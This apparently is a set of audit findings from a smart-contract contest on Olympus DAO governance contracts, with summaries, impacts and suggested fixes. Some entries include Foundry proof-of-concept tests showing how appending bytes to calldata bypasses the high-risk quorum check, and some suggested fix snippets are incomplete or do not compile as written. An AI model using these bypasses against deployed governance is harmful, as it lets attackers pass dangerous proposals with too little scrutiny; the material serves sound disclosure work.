    kernel.executeAction(Actions.InstallModule, address(TRSRY));

    // Create proposal that should be flagged as high risk
    address[] memory targets = new address[](1);
    uint256[] memory values = new uint256[](1);
    string[] memory signatures = new string[](1);
    bytes[] memory calldatas = new bytes[](1);
    string memory description = "High Risk Proposal";

    targets[0] = address(kernel);
    values[0] = 0;
    signatures[0] = "";
    calldatas[0] = abi.encodePacked(
        abi.encodeWithSelector(
            kernel.executeAction.selector,
            Actions.ActivatePolicy,
            address(custodian)
        ),
        "X"
    );

    vm.prank(alice);
    bytes memory data = address(governorBravoDelegator).functionCall(
        abi.encodeWithSignature(
            "propose(address[],uint256[],string[],bytes[],string)",
            targets,
            values,
            signatures,
            calldatas,
            description
        )
    );
    uint256 proposalId = abi.decode(data, (uint256));

    data = address(governorBravoDelegator).functionCall(
        abi.encodeWithSignature("getProposalQuorum(uint256)", proposalId)
    );
    uint256 quorum = abi.decode(data, (uint256));
    assertEq(quorum, 200_000e18);
}

Output

[PASS] testExploitBypassHighRiskProposal() (gas: 525810)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.45ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

The attacker can bypass the 30% quorum required for high-risk proposals and present them as regular proposals with the necessary 20% quorum.

Code Snippet

Tool used

Manual Review

Recommendation

It is recommended to correctly parse the calldata without relying on its hardcoded length.

Duplicate of #100

nobody2018 - If a proposal contains identical actions, the queue function will not succeed

nobody2018

medium

If a proposal contains identical actions, the queue function will not succeed

Summary

There is no check in the [propose](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L127-L205) function whether a new proposal contains the same action. If the status of such a proposal becomes ProposalState.Succeeded, the [queue](https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L211) function will always revert.

Vulnerability Detail

Assume that a proposal contains 2 actions, that is

Proposal.targets.length = 2
Proposal.values.length = 2
Proposal.signatures.length = 2
Proposal.calldatas.length = 2

The same actions mean:

targets[0] == targets[1]  && 
values[0]  == values[1]   && 
signatures[0] == signatures[1] && 
calldatas[0]  == calldatas[1]

If a proposal contains two same actions, once the proposal is eligible to be queued, it will not succeed.

File: bophades\src\external\governance\GovernorBravoDelegate.sol
211:     function queue(uint256 proposalId) external {
......
215:         Proposal storage proposal = proposals[proposalId];
216:->       uint256 eta = block.timestamp + timelock.delay();
......
225:         for (uint256 i = 0; i < proposal.targets.length; i++) {
226:->           _queueOrRevertInternal(
227:                 proposal.targets[i],
228:                 proposal.values[i],
229:                 proposal.signatures[i],
230:                 proposal.calldatas[i],
231:                 eta
232:             );
233:         }
234:         proposal.eta = eta;
235:         emit ProposalQueued(proposalId, eta);
236:     }
237:
238:     function _queueOrRevertInternal(
239:         address target,
240:         uint256 value,
241:         string memory signature,
242:         bytes memory data,
243:         uint256 eta
244:     ) internal {
245:->       if (timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))))
246:->           revert GovernorBravo_Queue_AlreadyQueued();
247: 
248:         timelock.queueTransaction(target, value, signature, data, eta);
249:     }

For all actions in a proposal, eta is the same, equal to block.timestamp + timelock.delay(). Then for two identical actions, the two hash values calculated by keccak256(abi.encode(target, value, signature, data, eta))) are the same. Therefore, after the first action is successfully queued, the second action will be revert at L246, resulting in tx revert.

Impact

If a proposal contains two same actions, queue will always revert.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L245-L246

Tool used

Manual Review

Recommendation

Add a check for identical actions in the propose function.

Duplicate of #50

Anubis - Inadequate Whitelist and Veto Guardian Controls

Anubis

high

Inadequate Whitelist and Veto Guardian Controls

Summary

The contract introduces whitelistGuardian and vetoGuardian roles for managing whitelist expirations and vetoing proposals. However, the implementation lacks sufficient controls and transparency, leading to potential risks in governance processes.

Vulnerability Detail

The contract allows for addresses to be whitelisted, potentially bypassing certain governance restrictions. Additionally, the veto power enables unilateral control over proposals. However, the contract does not implement transparent or restrictive mechanisms to manage these powers.

Impact

Malicious actors or compromised accounts with whitelistGuardian or vetoGuardian roles can subvert governance processes, leading to unauthorized actions, trust issues among participants, and potential exploitation of the governed system.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/abstracts/GovernorBravoStorage.sol#L120-L129

Tool used

Manual Review

Recommendation

Implement rigorous access controls and transparency mechanisms for the whitelistGuardian and vetoGuardian roles:

  1. Multi-Signature Requirement: Require multiple signatures for critical actions related to these roles to distribute trust and reduce the risk of unilateral decisions.
  2. Timelock Mechanism: Introduce a timelock for significant actions, allowing stakeholders to review and potentially contest changes before they take effect.
  3. Event Logging: Emit events for every significant action, such as adding/removing whitelisted addresses or invoking veto power, to ensure transparency and traceability.
  4. Role Management: Provide a secure process for appointing or revoking these powerful roles, ideally through a multi-step, community-driven governance process.

Code Snippet for Fix:
Implement event logging and role management:

// Event logging for critical role actions
event WhitelistGuardianUpdated(address indexed previousGuardian, address indexed newGuardian);
event VetoGuardianUpdated(address indexed previousGuardian, address indexed newGuardian);
event AddressWhitelisted(address indexed account, uint256 expiration);
event AddressRemovedFromWhitelist(address indexed account);

// Secure role management
function updateWhitelistGuardian(address _newGuardian) external {
    require(msg.sender == admin, "Only admin can update the whitelist guardian");
    emit WhitelistGuardianUpdated(whitelistGuardian, _newGuardian);
    whitelistGuardian = _newGuardian;
}

function updateVetoGuardian(address _newGuardian) external {
    require(msg.sender == admin, "Only admin can update the veto guardian");
    emit VetoGuardianUpdated(vetoGuardian, _newGuardian);
    vetoGuardian = _newGuardian;
}

function whitelistAddress(address _account, uint256 _expiration) external {
    require(msg.sender == whitelistGuardian, "Only whitelist guardian can whitelist addresses");
    whitelistAccountExpirations[_account] = _expiration;
    emit AddressWhitelisted(_account, _expiration);
}

function removeWhitelistedAddress(address _account) external {
    require(msg.sender == whitelistGuardian, "Only whitelist guardian can remove addresses from whitelist");
    whitelistAccountExpirations[_account] = 0;
    emit AddressRemovedFromWhitelist(_account);
}

By integrating these recommendations, the governance system will benefit from enhanced security, transparency, and trustworthiness, safeguarding it against unauthorized manipulation.

Anubis - Centralized Admin Control and Potential for Admin Role Abuse

Anubis

medium

Centralized Admin Control and Potential for Admin Role Abuse

Summary

The Timelock contract has an admin role with extensive capabilities, including queuing, executing, and canceling transactions. This centralization of power in the hands of the admin can potentially lead to abuse or mismanagement.

Vulnerability Detail

The contract allows the admin to manage critical functionalities. If the admin role is compromised or not governed properly, this could lead to unauthorized changes in the system, including manipulation of the governance process or introduction of malicious transactions.

Impact

Improper or malicious use of the admin role can result in severe consequences, including unauthorized changes in the system, execution of unintended or harmful transactions, or other security breaches.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L108

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L125

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L140

Tool used

Manual Review

Recommendation

Implement a multi-signature mechanism or a decentralized governance model for critical admin actions such as queuing, executing, or canceling transactions. This reduces the risk associated with a single admin and prevents potential abuse of the admin role.

Code Snippet for Fix:

// Add a mapping to store admin addresses and their confirmation status
mapping(address => bool) public admins;
uint256 public requiredConfirmations;

// Ensure multiple confirmations for critical functions
modifier multiSigRequired() {
    require(admins[msg.sender], "Not an admin");
    require(++confirmations[msg.sender] == requiredConfirmations, "More confirmations required");
    _;
    // Reset for next operation
    confirmations[msg.sender] = 0;
}

function queueTransaction(...) public multiSigRequired returns (bytes32) {
    ...
}

function cancelTransaction(...) public multiSigRequired {
    ...
}

function executeTransaction(...) public payable multiSigRequired returns (bytes memory) {
    ...
}

With the multiSigRequired modifier, you can ensure that critical functions require multiple confirmations from different admins, enhancing the security of the system.

cawfree - Griefing: Proposers with marginal voting power in excess of `getProposalThresholdVotes()` can have their proposals terminated immediately by an adversarial delegator.

cawfree

medium

Griefing: Proposers with marginal voting power in excess of getProposalThresholdVotes() can have their proposals terminated immediately by an adversarial delegator.

Summary

Proposers must maintain a proposal threshold exactly above getProposalThresholdVotes() in order to prevent their proposal from being cancelled.

However, an adversary may merely deallocate small units of pre-existing delegation power to unfairly cancel an ProposalStatus.Active proposal.

Vulnerability Detail

A proposer must possess at a minimum greater than getProposalThresholdVotes() to submit a proposal:

// Allow addresses above proposal threshold and whitelisted addresses to propose
if (
    gohm.getPriorVotes(msg.sender, block.number - 1) <= getProposalThresholdVotes() &&
    !isWhitelisted(msg.sender)
) revert GovernorBravo_Proposal_ThresholdNotMet();

If a proposal has not been executed, it may be cancelled via a call to cancel(uint256) by any caller, on the condition the proposer's voting power has fallen below or equal to the getProposalThresholdVotes():

if (
    gohm.getPriorVotes(proposal.proposer, block.number - 1) >=
    proposal.proposalThreshold
) revert GovernorBravo_Cancel_AboveThreshold();

This is regardless of how low their voting power has fallen, even if by a single vote, enabling adversaries to a marginal proposer to take an interested stake and use this to their advantage.

In this instance, we'll use the term "marginal proposer" to mean a member of the governance process who barely meets the governance threshold for submitting proposals.

The resulting affect is that an adversary can take a small amount of voting power away from a proposer, cancel their proposal, then re-instate delegation. In the context of governance, this could be extremely frustrating for an enthusiastic new member, undue confusion about the process leading to diminished opinion of the proposer by the voting audience on the social consensus layer, and bullying.

Impact

Griefing of marginal proposers to the governance process, and malicious gatekeeping of the ability to affect meaningful change in the protocol, particularly to new entrants.

Code Snippet

/**
 * @notice Cancels a proposal only if sender is the proposer, or proposer delegates dropped below proposal threshold
 * @param proposalId The id of the proposal to cancel
 */
function cancel(uint256 proposalId) external {
    if (state(proposalId) == ProposalState.Executed)
        revert GovernorBravo_Cancel_AlreadyExecuted();

    Proposal storage proposal = proposals[proposalId];

    // Proposer can cancel
    if (msg.sender != proposal.proposer) {
        // Whitelisted proposers can't be canceled for falling below proposal threshold
        if (isWhitelisted(proposal.proposer)) {
            if (
                (gohm.getPriorVotes(proposal.proposer, block.number - 1) >= proposal.proposalThreshold) ||
                msg.sender != whitelistGuardian
            ) revert GovernorBravo_Cancel_WhitelistedProposer();
        } else {
            if (gohm.getPriorVotes(proposal.proposer, block.number - 1) >= proposal.proposalThreshold)
                revert GovernorBravo_Cancel_AboveThreshold();
        }
    }

    proposal.canceled = true;
    for (uint256 i = 0; i < proposal.targets.length; i++) {
        timelock.cancelTransaction(
            proposal.targets[i],
            proposal.values[i],
            proposal.signatures[i],
            proposal.calldatas[i],
            proposal.eta
        );
    }

    emit ProposalCanceled(proposalId);
}

Tool used

Vim, Foundry

Recommendation

It is advised that callers should only have the ability to cancel(uint256) if the proposer's voting weight has fallen a meaningful amount, i.e. 25%.

This will increase the opportunity cost for a single attacker to take an interested stake in a competitor for an extensive period of time, in addition to increasing the overall amount of collusion required to successfully execute the attack.

Anubis - Potential for Admin Role Abuse

Anubis

medium

Potential for Admin Role Abuse

Summary

The GovernorBravoDelegator contract has an admin role with the ability to change the implementation contract. This centralizes a significant amount of power in the hands of the admin, potentially leading to abuse or mismanagement.

Vulnerability Detail

The _setImplementation function allows the admin to change the contract to which calls are delegated. If the admin role is compromised or not governed properly, this could lead to the introduction of a malicious implementation, disrupting the governance process or leading to loss of funds.

Impact

Improper or malicious use of the admin role to change the implementation contract can result in severe consequences, including loss of funds, disruption of the governance process, or other security breaches.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegator.sol#L46C1-L57

Tool used

Manual Review

Recommendation

Introduce a multi-signature requirement or a governance process for critical admin actions such as changing the implementation contract. This reduces the risk of a single point of failure or abuse of the admin role. Consider using a multi-sig wallet or a DAO governance model to manage the admin role. Here's how you might adapt the _setImplementation function:

// Require multiple confirmations for critical admin actions
function _setImplementation(address implementation_) public {
    require(isConfirmedAction(msg.sender, implementation_), "GovernorBravoDelegator::_setImplementation: confirmation required");
    require(
        implementation_ != address(0),
        "GovernorBravoDelegator::_setImplementation: invalid implementation address"
    );

    address oldImplementation = implementation;
    implementation = implementation_;

    resetActionConfirmation(implementation_);
    emit NewImplementation(oldImplementation, implementation);
}

// Function to register or confirm an action by a signer
function confirmAction(address action, address signer) public {
    require(isAdmin(signer), "GovernorBravoDelegator::confirmAction: only admin");
    // Logic to record confirmation
    ...
}

// Function to check if an action has been confirmed by required signers
function isConfirmedAction(address action) public view returns (bool) {
    // Logic to check confirmations
    ...
}

// Function to reset confirmations for an action
function resetActionConfirmation(address action) internal {
    // Logic to reset confirmations
    ...
}

// Function to check if an address is an admin
function isAdmin(address account) public view returns (bool) {
    // Logic to check if the account is an admin
    ...
}

Duplicate of #22

cawfree - Invariant Violation: `GovernorBravoDelegate` can permit high-risk proposals with only `getQuorumVotes()`.

cawfree

medium

Invariant Violation: GovernorBravoDelegate can permit high-risk proposals with only getQuorumVotes().

Summary

Manipulated proposal calldata can subvert the validation checks defined inside of _isHighRiskProposal(address[],string[],bytes[]), resulting in high-risk proposals requiring only the basic level of quorum to pass.

Vulnerability Detail

When accepting new proposals, GovernorBravoDelegate manually interprets proposal data using _isHighRiskProposal(address[],string[],bytes[]) to determine if the proposal intends to target high-risk infrastructure, with the intention to require higher number of quorum votes before the proposal can be scheduled for execution.

However the validation checks in place are flawed:

uint8 action;
address actionTarget;

if (bytes(signature).length == 0 && data.length == 0x44) {
    assembly {
        action := mload(add(data, 0x24)) // accounting for length and selector in first 4 bytes
        actionTarget := mload(add(data, 0x44))
    }
} else if (data.length == 0x40) {
    (action, actionTarget) = abi.decode(data, (uint8, address));
} else {
    continue;
}

Imagine the case where in a call to _isHighRiskProposal(address[],string[],bytes[]), the caller does not specify a signature and instead specifies raw calldata (implicitly containing the 4byte signature of the function to be executed) targeting the kernel.

Here, the checks are very brittle, and demand the calldata to be exactly 0x44 or 0x40 bytes in length, meaning that if the submitter of the proposal merely appended dummy data to the end of the valid, high-risk calldata, the checks can be bypassed:

bytes4 executeActionSelector = 0xc4d1f8f1;
address olympusMinter = 0xa90bFe53217da78D900749eb6Ef513ee5b6a491e;
uint8 upgradeAction = 1;

bytes memory data = abi.encode(executeActionSelector, upgradeAction, olympusMinter, "1) What");

(bytes4 selector, uint8 action, address actionTarget) = abi.decode(data, (bytes4, uint8, address));

assertEq(selector, executeActionSelector);
assertEq(action, upgradeAction);
assertEq(actionTarget, olympusMinter);
assertEq(data.length == 0x44, false);
assertEq(data.length == 0x40, false);

Notice that the manipulated data containing auxillary redundant data passed into abi.decode continues to evaluate to high-risk proposal configuration, though it would continue to escape validation checks.

This same technique can similarly be performed for the path of execution which relies upon a defined signature. In this case, an attacker will need to append the provided calldata to a length in excess of 0x40 instead.

Impact

I believe this qualifies as a medium, as this is a direct subversion of protocol safety mechanisms which could lead to an exploit or unintentional loss of funds.

Code Snippet

uint8 action;
address actionTarget;

if (bytes(signature).length == 0 && data.length == 0x44) {
    assembly {
        action := mload(add(data, 0x24)) // accounting for length and selector in first 4 bytes
        actionTarget := mload(add(data, 0x44))
    }
} else if (data.length == 0x40) {
    (action, actionTarget) = abi.decode(data, (uint8, address));
} else {
    continue;
}

Tool used

Vim, Foundry

Recommendation

Calldata is malleable and should generally not be trusted in a low-level, unparsed format.

Developers are advised to decode the generic calldata provided into an identical format that would be interpreted at a high-risk receiver, and validate that the Solidity-equivalent parsed data does not subvert the required invariants.

Duplicate of #100

haxatron - High risk quorum bypass by appending extra bytes into the calldata.

haxatron

medium

High risk quorum bypass by appending extra bytes into the calldata.

Summary

High risk quorum bypass by appending extra bytes into the calldata.

Vulnerability Detail

Olympus DAO checks the proposal and sets a higher quorum if the proposal action is deemed high risk. Proposal actions deemed as high risk are for instance, calling executeAction on the Kernel to install or activate policies:

GovernorBravoDelegate.sol#L169C1-L173C14

            // Identify the quorum level to use
            if (_isHighRiskProposal(targets, signatures, calldatas)) {
                quorumVotes = getHighRiskQuorumVotes();
            } else {
                quorumVotes = getQuorumVotes();
            }

However there is a simple way to fool this check:

GovernorBravoDelegate.sol#L631C1-L645C22

                // Check if the action is making a core change to system via the kernel
                if (selector == Kernel.executeAction.selector) {
                    uint8 action;
                    address actionTarget;

                    if (bytes(signature).length == 0 && data.length == 0x44) {
                        assembly {
                            action := mload(add(data, 0x24)) // accounting for length and selector in first 4 bytes
                            actionTarget := mload(add(data, 0x44))
                        }
                    } else if (data.length == 0x40) {
                        (action, actionTarget) = abi.decode(data, (uint8, address));
                    } else {
=>                   continue;
                    }

The function checks if the calldata is exactly 64 or 68 bytes long. If it is not, then we use a continue statement. What the continue statement does, however, is move to the next iteration of the for loop which completely skips all the further checks.

Therefore, we can append additional bytes into the calldata which will bypass all the checks and the EVM will ignore this additional bytes when making an external call.

POC

// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.15;

import {Test} from "forge-std/Test.sol";
import {UserFactory} from "test/lib/UserFactory.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {console2} from "forge-std/console2.sol";

import {MockGohm} from "test/mocks/OlympusMocks.sol";

import {OlympusTreasury} from "modules/TRSRY/OlympusTreasury.sol";
import {OlympusRoles} from "modules/ROLES/OlympusRoles.sol";
import {RolesAdmin} from "policies/RolesAdmin.sol";
import {TreasuryCustodian} from "policies/TreasuryCustodian.sol";
import "src/Kernel.sol";

import {GovernorBravoDelegateStorageV1} from "src/external/governance/abstracts/GovernorBravoStorage.sol";
import {GovernorBravoDelegator} from "src/external/governance/GovernorBravoDelegator.sol";
import {GovernorBravoDelegate} from "src/external/governance/GovernorBravoDelegate.sol";
import {Timelock} from "src/external/governance/Timelock.sol";

contract HighRiskQuorumBypassTest is Test {
    using Address for address;

    address internal whitelistGuardian;
    address internal vetoGuardian;
    address internal alice;
    uint256 internal alicePk;

    MockGohm internal gohm;

    Kernel internal kernel;
    OlympusTreasury internal TRSRY;
    OlympusRoles internal ROLES;
    RolesAdmin internal rolesAdmin;
    TreasuryCustodian internal custodian;

    GovernorBravoDelegator internal governorBravoDelegator;
    GovernorBravoDelegate internal governorBravo;
    Timelock internal timelock;

    // Re-declare events
    event VoteCast(
        address indexed voter,
        uint256 proposalId,
        uint8 support,
        uint256 votes,
        string reason
    );

    function setUp() public {
        // Set up users
        {
            address[] memory users = (new UserFactory()).create(2);
            whitelistGuardian = users[0];
            vetoGuardian = users[1];

            (alice, alicePk) = makeAddrAndKey("alice");
        }

        // Create token
        {
            gohm = new MockGohm(100e9);
        }

        // Create kernel, modules, and policies
        {
            kernel = new Kernel();
            TRSRY = new OlympusTreasury(kernel); // This will be installed by the governor later
            ROLES = new OlympusRoles(kernel);
            rolesAdmin = new RolesAdmin(kernel);
            custodian = new TreasuryCustodian(kernel);
        }

        // Create governance contracts
        {
            governorBravo = new GovernorBravoDelegate();
            timelock = new Timelock(address(this), 7 days);

            // SETS VETO GUARDIAN AS GOVERNOR BRAVO ADMIN
            vm.prank(vetoGuardian);
            governorBravoDelegator = new GovernorBravoDelegator(
                address(timelock),
                address(gohm),
                address(kernel),
                address(governorBravo),
                21600,
                21600,
                10_000
            );
        }

        // Configure governance contracts
        {
            timelock.setFirstAdmin(address(governorBravoDelegator));
            // THIS SHOULD BE DONE VIA PROPOSAL
            vm.prank(address(timelock));
            address(governorBravoDelegator).functionCall(
                abi.encodeWithSignature("_setWhitelistGuardian(address)", whitelistGuardian)
            );
        }

        // Set up modules and policies
        {
            kernel.executeAction(Actions.InstallModule, address(ROLES));
            kernel.executeAction(Actions.ActivatePolicy, address(rolesAdmin));
            kernel.executeAction(Actions.ChangeExecutor, address(timelock));

            rolesAdmin.pushNewAdmin(address(timelock));
        }

        // Set up gOHM
        {
            gohm.mint(address(0), 890_000e18);
            gohm.mint(alice, 110_000e18); // Alice has >10% of the supply
            gohm.checkpointVotes(alice);
        }
    }

    function test_HighRiskQuorumBypass() public {
        // Activate TRSRY
        vm.prank(address(timelock));
        kernel.executeAction(Actions.InstallModule, address(TRSRY));

        // Create proposal that should be flagged as high risk
        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        string[] memory signatures = new string[](1);
        bytes[] memory calldatas = new bytes[](1);  
        string memory description = "High Risk Proposal";

        targets[0] = address(kernel);
        values[0] = 0;
        signatures[0] = "";
        calldatas[0] = abi.encodeWithSelector(
            kernel.executeAction.selector,
            Actions.ActivatePolicy,
            address(custodian),
            0 // extra data
        );

        vm.prank(alice);
        bytes memory data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature(
                "propose(address[],uint256[],string[],bytes[],string)",
                targets,
                values,
                signatures,
                calldatas,
                description
            )
        );
        uint256 proposalId = abi.decode(data, (uint256));

        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("getProposalQuorum(uint256)", proposalId)
        );
        uint256 quorum = abi.decode(data, (uint256));

        // incorrectly flags as low risk quorum
        assertEq(quorum, 200_000e18);
    }
}

Impact

High risk quorum bypass

Code Snippet

See above.

Tool used

Foundry

Recommendation

return true instead of continue in the else block

Duplicate of #100

ravikiran.web3 - GovernorBravoDelegator::_setImplementation() will result in loss of data stored in previous version of GovernorBravoDelegate instance

ravikiran.web3

high

GovernorBravoDelegator::_setImplementation() will result in loss of data stored in previous version of GovernorBravoDelegate instance

Summary

Delegator's setImplementation() function will basically replace the state level variables for GovernorBravoDelegate instance with new uninitialised values.That means, all the proposals created/executed or cancelled along with tracking state variables will be lost, basically reset to data type default values.

This will happen because of the difference inheritance hierarchy between GovernorBravoDelegate[implementation contract ] and GovernorBravoDelegator[proxy contract] contracts. As the base contracts are different and hence the storage layout of GovernorBravoDelegator[proxy contract] has limited knowledge of state variables in GovernorBravoDelegate contract.

Storage layout differences:
check the storage layout differences between proxy and implementation contracts. Marked in green is proxy storage layout and purple is implementation storage layout.

https://drive.google.com/file/d/1Fti39XH2K1aaCOGMVhId1QNIUTqvZdXv/view

Vulnerability Detail

The design of storage lay out seems to be with the intention that when GovernorBravoDelegate[implementation] contract is updated, the newly deployed contract will operate on its clean proposal queue. The delegator[proxy] contract does not have knowledge of proposal queue due to limited storage layout access leaving the storage and managing details to implementation contract.

GovernorBravoDelegator[Proxy contract] is derived from GovernorBravoDelegatorStorage which has only the below state level variables.

 address public admin;
 address public pendingAdmin;
 address public implementation;

On the other hand, GovernorBravoDelegate[implementation contract ] is derived from GovernorBravoDelegateStorageV2 which has state variables for proposals and state variables related to manage the proposal queue.

So, when new implementation is replaced, it will be a totally new state in the context of proposal queues. Old data will be completely lost as new implementation will have its own separate storage layout[important reason being, proxy has no knowledge of that state].

Also, important to note is that, timelock on the other hand will have all the queued transactions, even from the old implementation contracts. As a result any transaction submitted to timelock and pending execution will never be executed, once the implementation contract is update.

This looks like a vulnerability in managing the storage then an intended design approach as

a) state related to proposals is lost every time a new implementation is set, this is not how upgradeability should work
b) the data symmetry between timelock contract and GovernorBravoDelegate is also broken.

Impact

Proposal data is lost every time the implementation contract is replaced.

Code Snippet

GovernorBravoDelegate is derived from GovernorBravoDelegateStorageV2 contract

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/abstracts/GovernorBravoStorage.sol#L26-L130

The proxy contract does not have any knowledge about the state variables that were inherited into the implementation contract via GovernorBravoDelegateStorageV2 and GovernorBravoDelegateStorageV1.

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/abstracts/GovernorBravoStorage.sol#L26-L129

Tool used

Manual Review

Recommendation

The design approach needs to be revisited as the current implementation will discard the proposals data every time the implementation is replaced with a new one. The intention of this design should be revisited as it also breaks the synergy between implementation and timelock contract as well.

ravikiran.web3 - Updating the admin state variable in Timelock contract with account other than governorBravoDelegator address will block queue processing functions.

ravikiran.web3

medium

Updating the admin state variable in Timelock contract with account other than governorBravoDelegator address will block queue processing functions.

Summary

setPendingAdmin() function can be called by Timelock contract only. Hence, to make this call, it has to be a proposal transaction
submitted. Once the transaction is executed, the pendingAdmin state variable will be updated with the new value.

calling acceptAdmin() will update the admin. if the new admin not same as governorBravoDelegator, timelock contract will stop
processing queue/cancel/execute proposal transactions.

Vulnerability Detail

admin state variable should be same as msg.sender for transaction calls for processing the transactions. As there is a possibility to submit different account address for admin value from governorBravoDelegator contract address, it will conflict with the queue processing and will stop functioning.

Impact

queued transaction will not be processed.

Code Snippet

new admin in pending state
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L101-L105

Accepting pending admin as new admin, if different from governorBravoDelegator will block the queue processing.
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L93-L99

Queue processing functions checks for msg.sender != admin. Changing the admin to different value will make all the queue processing functions to revert.

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L108-L116

cancel will also stop working if admin is different from governorBravoDelegator
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L125-L133

execute will also stop working if admin is different from governorBravoDelegator
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L140-L148

Tool used

Manual Review

Recommendation

It is not clear as to when the admin needs to be updated. If so, can it be restricted to governorBravoDelegator address only.

ravikiran.web3 - Timelock::constructor() should validate for admin parameter to be non zero address, else contract will become non-functional on deployment

ravikiran.web3

medium

Timelock::constructor() should validate for admin parameter to be non zero address, else contract will become non-functional on deployment

Summary

In the Timelock::constructor(), admin parameter passed is set as admin during deployment. Incase this parameter is set to zero address, then the deployed contract will become useless.

Zero address validation for incoming parameter is critical in this case.

Vulnerability Detail

If the admin state variable is set to some invalid address, then most of the key functions in the contract will stop working due to the below check.

   if (msg.sender != admin) revert Timelock_OnlyAdmin();

Impact

Deployed contract will become useless, if admin parameter was a zero address in the constructor.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L65-L70

Refer to the constructor() where, admin is set via the parameters. Passing zero address will make this contract non functional.

 constructor(address admin_, uint256 delay_) {
        if (delay_ < MINIMUM_DELAY || delay_ > MAXIMUM_DELAY) revert Timelock_InvalidDelay();

        admin = admin_;
        delay = delay_;
    }

Tool used

Manual Review

Recommendation

Add zero address validation for admin parameter in the constructor as below. The require is for demonstration only, custom error can be thrown similar to how it is implemented for delay variable.

constructor(address admin_, uint256 delay_) { 
     if (delay_ < MINIMUM_DELAY || delay_ > MAXIMUM_DELAY) revert Timelock_InvalidDelay(); 
     require(admin_!=0x0,"Invalid admin"); 
     admin = admin_; 
     delay = delay_; 
 } 

Anubis - Inadequate Validation of Transaction Queuing

Anubis

medium

Inadequate Validation of Transaction Queuing

Summary

The Timelock contract's queueTransaction function lacks thorough validation for the queued transactions, particularly regarding the target address and calldata. This could lead to the queuing of transactions that interact with unverified or potentially malicious contracts.

Vulnerability Detail

The queueTransaction function does not enforce sufficient validation on the target address and the calldata, allowing transactions to be queued without ensuring that the target address is a valid contract or that the calldata corresponds to a legitimate function call.

Impact

Attackers could exploit this lack of validation to queue transactions directed at malicious contracts or to execute functions that adversely affect the system's integrity. This could lead to unauthorized state changes, token theft, or manipulation of governance actions.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L108-L123

Tool used

Manual Review

Recommendation

Implement robust validation mechanisms for the target address and calldata in the queueTransaction function. This should include checks to ensure that the target address is a contract and that the calldata is properly formed and corresponds to valid function calls.

Code Snippet for Fix:

function queueTransaction(
    address target,
    uint256 value,
    string memory signature,
    bytes memory data,
    uint256 eta
) public returns (bytes32) {
    if (msg.sender != admin) revert Timelock_OnlyAdmin();
    if (eta < block.timestamp + delay) revert Timelock_InvalidExecutionTime();
    require(isContract(target), "Timelock: Target must be a contract");
    // Additional validations for data can be included here

    bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
    queuedTransactions[txHash] = true;

    emit QueueTransaction(txHash, target, value, signature, data, eta);
    return txHash;
}

function isContract(address addr) internal view returns (bool) {
    uint32 size;
    assembly {
        size := extcodesize(addr)
    }
    return (size > 0);
}

By introducing these validations, the system can prevent the queuing of transactions targeting invalid addresses or executing unauthorized or harmful functions, enhancing the security and integrity of the governance process.

Duplicate of #1

Anubis - Risk of Overflow in Proposal Threshold and Quorum Calculations

Anubis

medium

Risk of Overflow in Proposal Threshold and Quorum Calculations

Summary

Risk of Overflow in Proposal Threshold and Quorum Calculations

Vulnerability Detail

The contract calculates the proposal threshold and quorum based on the total supply and percentage constants. However, there are no explicit checks for overflow in these calculations, potentially leading to incorrect computation if the total supply becomes exceedingly large.

Impact

Incorrect computation of proposal thresholds and quorums can significantly impact the governance process, potentially making it impossible to reach quorum or propose new proposals.

Code Snippet

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L690-L692

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/GovernorBravoDelegate.sol#L698-L700

Tool used

Manual Review

Recommendation

Consider using the SafeMath library or similar safeguards to prevent overflow issues. Solidity 0.8.x offers built-in overflow checks, but explicit validation of the calculation results and constraints on the proposal threshold and quorum percentages can provide additional safety.

krkba - Admin can set to zero address.

krkba

medium

Admin can set to zero address.

krkba

Summary

There is lack of input validation in constructor.

Vulnerability Detail

When there is no zero address validation in timelock_ address , it can be set to zero and then in the line 37 the admin is set to timelock_ which is zero address.

Impact

Admin can set to zero address.

Code Snippet

